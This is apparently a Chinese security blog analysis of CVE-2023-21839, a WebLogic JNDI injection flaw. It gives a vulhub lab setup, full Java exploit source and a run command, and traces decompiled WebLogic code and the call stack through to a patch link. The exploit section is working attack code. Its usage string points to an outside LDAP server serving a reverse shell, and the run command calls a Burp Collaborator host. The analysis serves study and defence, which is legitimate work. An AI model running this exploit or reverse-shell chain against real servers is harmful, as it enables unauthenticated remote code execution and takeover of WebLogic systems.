CVE-2023-21839漏洞分析

漏洞描述

Easily exploitable vulnerability allows unauthenticated attacker with network access via T3, IIOP to compromise Oracle WebLogic Server.

影响版本

  • Weblogic 12.2.1.3.0
  • Weblogic 12.2.1.4.0
  • Weblogic 14.1.1.0.0

漏洞环境

docker-compose.yml

1
2
3
4
5
6
7
8
9
version: '2'
services:
weblogic:
image: vulhub/weblogic:12.2.1.3-2018
environment:
debugFlag: "true"
ports:
- "7001:7001"
- "8453:8453"

漏洞复现

工具来源:https://github.com/DXask88MA/Weblogic-CVE-2023-21839

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import java.lang.reflect.Field;

import java.util.Hashtable;
import java.util.Random;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;


public class CVE_2023_21839 {
static String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";
static String HOW_TO_USE = "[*]java -jar 目标ip:端口 ldap地址\ne.g. java -jar 192.168.220.129:7001 ldap://192.168.31.58:1389/Basic/ReverseShell/192.168.220.129/1111";

private static InitialContext getInitialContext(String url)
throws NamingException {
Hashtable<String, String> env = new Hashtable<String, String>();
env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env.put(Context.PROVIDER_URL, url);

return new InitialContext(env);
}

public static void main(String[] args) throws Exception {
if (args.length < 2) {
System.out.println(HOW_TO_USE);
System.exit(0);
}

String t3Url = args[0];
String ldapUrl = args[1];
InitialContext c = getInitialContext("t3://" + t3Url);
Hashtable<String, String> env = new Hashtable<String, String>();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.rmi.registry.RegistryContextFactory");

weblogic.deployment.jms.ForeignOpaqueReference f = new weblogic.deployment.jms.ForeignOpaqueReference();
Field jndiEnvironment = weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField(
"jndiEnvironment");
jndiEnvironment.setAccessible(true);
jndiEnvironment.set(f, env);

Field remoteJNDIName = weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField(
"remoteJNDIName");
remoteJNDIName.setAccessible(true);
remoteJNDIName.set(f, ldapUrl);

String bindName = new Random(System.currentTimeMillis()).nextLong() +
"";

try {
c.bind(bindName, f);
c.lookup(bindName);
} catch (Exception e) {
}
}
}
1
java -jar .\Weblogic-CVE-2023-21839.jar 127.0.0.1:7001 ldap://oe6t0iq10f9wm7yloqgjc8sdq4wukj.burpcollaborator.net/dns.log

image-20230318155046319

漏洞分析

当客户端在T3协议中调用bind()lookup()函数时,服务端允许用户自定义jndiEnvironmentremoteJNDIName,相当于客户端控制服务端的JNDI注入。

跟进weblogic/jndi/internal/BasicNamingNode.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package weblogic.jndi.internal;
public class BasicNamingNode implements NamingNode {

protected Object resolveObject(String name, Object obj, int mode, Hashtable env) throws NamingException {
Object resolved = obj;
if (obj != null) {
try {
if (obj instanceof NamingNode) {
resolved = ((NamingNode)obj).getContext(env);
} else if (mode != 0 && mode >= 0) {
resolved = WLNamingManager.getObjectInstance(obj, new CompositeName(name), (Context)null, env); // 调用getObjectInstance解析name
resolved = this.makeTransportable(resolved, name, env);
}
}

跟进weblogic/jndi/internal/WLNamingManager.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package weblogic.jndi.internal;
public final class WLNamingManager {

public static Object getObjectInstance(Object boundObject, Name name, Context ctx, Hashtable env) throws NamingException {
if (boundObject instanceof ClassTypeOpaqueReference) {
Hashtable jndiEnv = ThreadLocalMap.get();
if (jndiEnv != null && Boolean.parseBoolean((String)jndiEnv.get("weblogic.jndi.onlyGetClassType"))) {
boundObject = ((ClassTypeOpaqueReference)boundObject).getObjectClass();
} else {
boundObject = ((OpaqueReference)boundObject).getReferent(name, ctx);
}
} else if (boundObject instanceof OpaqueReference) {
boundObject = ((OpaqueReference)boundObject).getReferent(name, ctx); //当boundObject为OpaqueReference类时,会调用getReferent()解析,其中ForeignOpaqueReference类继承自OpaqueReference类
}
...

跟进weblogic/deployment/jms/ForeignOpaqueReference.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package weblogic.deployment.jms;
public class ForeignOpaqueReference implements ForeignOpaqueTag, OpaqueReference, Serializable {

public Object getReferent(Name name, Context ctx) throws NamingException {
AbstractSubject originalSubject = SubjectManager.getSubjectManager().getCurrentSubject(KERNEL_ID);
InitialContext context;
if (this.jndiEnvironment == null) { // 自定义jndiEnvironment
context = new InitialContext();
} else {
if (this.jndiEnvironment.get("java.naming.factory.initial") == null) {
this.jndiEnvironment.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
}

context = new InitialContext(this.jndiEnvironment);
}

...

Object retVal;
try {
if (this.jndiEnvironment == null || !AQJMS_ICF.equals(this.jndiEnvironment.get("java.naming.factory.initial")) || this.remoteJNDIName == null || !this.remoteJNDIName.startsWith(AQJMS_QPREFIX) && !this.remoteJNDIName.startsWith(AQJMS_TPREFIX)) {
retVal = context.lookup(evalMacros(this.remoteJNDIName)); // 自定义remoteJNDIName实现JNDI注入
} else {
synchronized(this) {
if (this.cachedReferent == null) {
this.cachedReferent = context.lookup(evalMacros(this.remoteJNDIName));
}
}

retVal = this.cachedReferent;
}
} finally {
SubjectManager.getSubjectManager().popSubject(KERNEL_ID);
context.close();
}

调用栈如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
getReferent:254, ForeignOpaqueReference (weblogic.deployment.jms)
getObjectInstance:106, WLNamingManager (weblogic.jndi.internal)
resolveObject:1037, BasicNamingNode (weblogic.jndi.internal)
resolveObject:1009, BasicNamingNode (weblogic.jndi.internal)
lookup:223, BasicNamingNode (weblogic.jndi.internal)
lookup:527, ServerNamingNode (weblogic.jndi.internal)
lookup:84, RootNamingNode (weblogic.jndi.internal)
invoke:-1, RootNamingNode_WLSkel (weblogic.jndi.internal)
invoke:645, BasicServerRef (weblogic.rmi.internal)
invoke:246, ClusterableServerRef (weblogic.rmi.cluster)
run:534, BasicServerRef$2 (weblogic.rmi.internal)
doAs:368, AuthenticatedSubject (weblogic.security.acl.internal)
runAs:163, SecurityManager (weblogic.security.service)
handleRequest:531, BasicServerRef (weblogic.rmi.internal)
run:138, WLSExecuteRequest (weblogic.rmi.internal.wls)
_runAs:352, ComponentInvocationContextManager (weblogic.invocation)
runAs:337, ComponentInvocationContextManager (weblogic.invocation)
doRunWorkUnderContext:57, LivePartitionUtility (weblogic.work)
runWorkUnderContext:41, PartitionUtility (weblogic.work)
runWorkUnderContext:644, SelfTuningWorkManagerImpl (weblogic.work)
execute:415, ExecuteThread (weblogic.work)
run:355, ExecuteThread (weblogic.work)

补丁

厂商已发布了漏洞修复补丁:

https://support.oracle.com/rs?type=doc&id=2917213.2

参考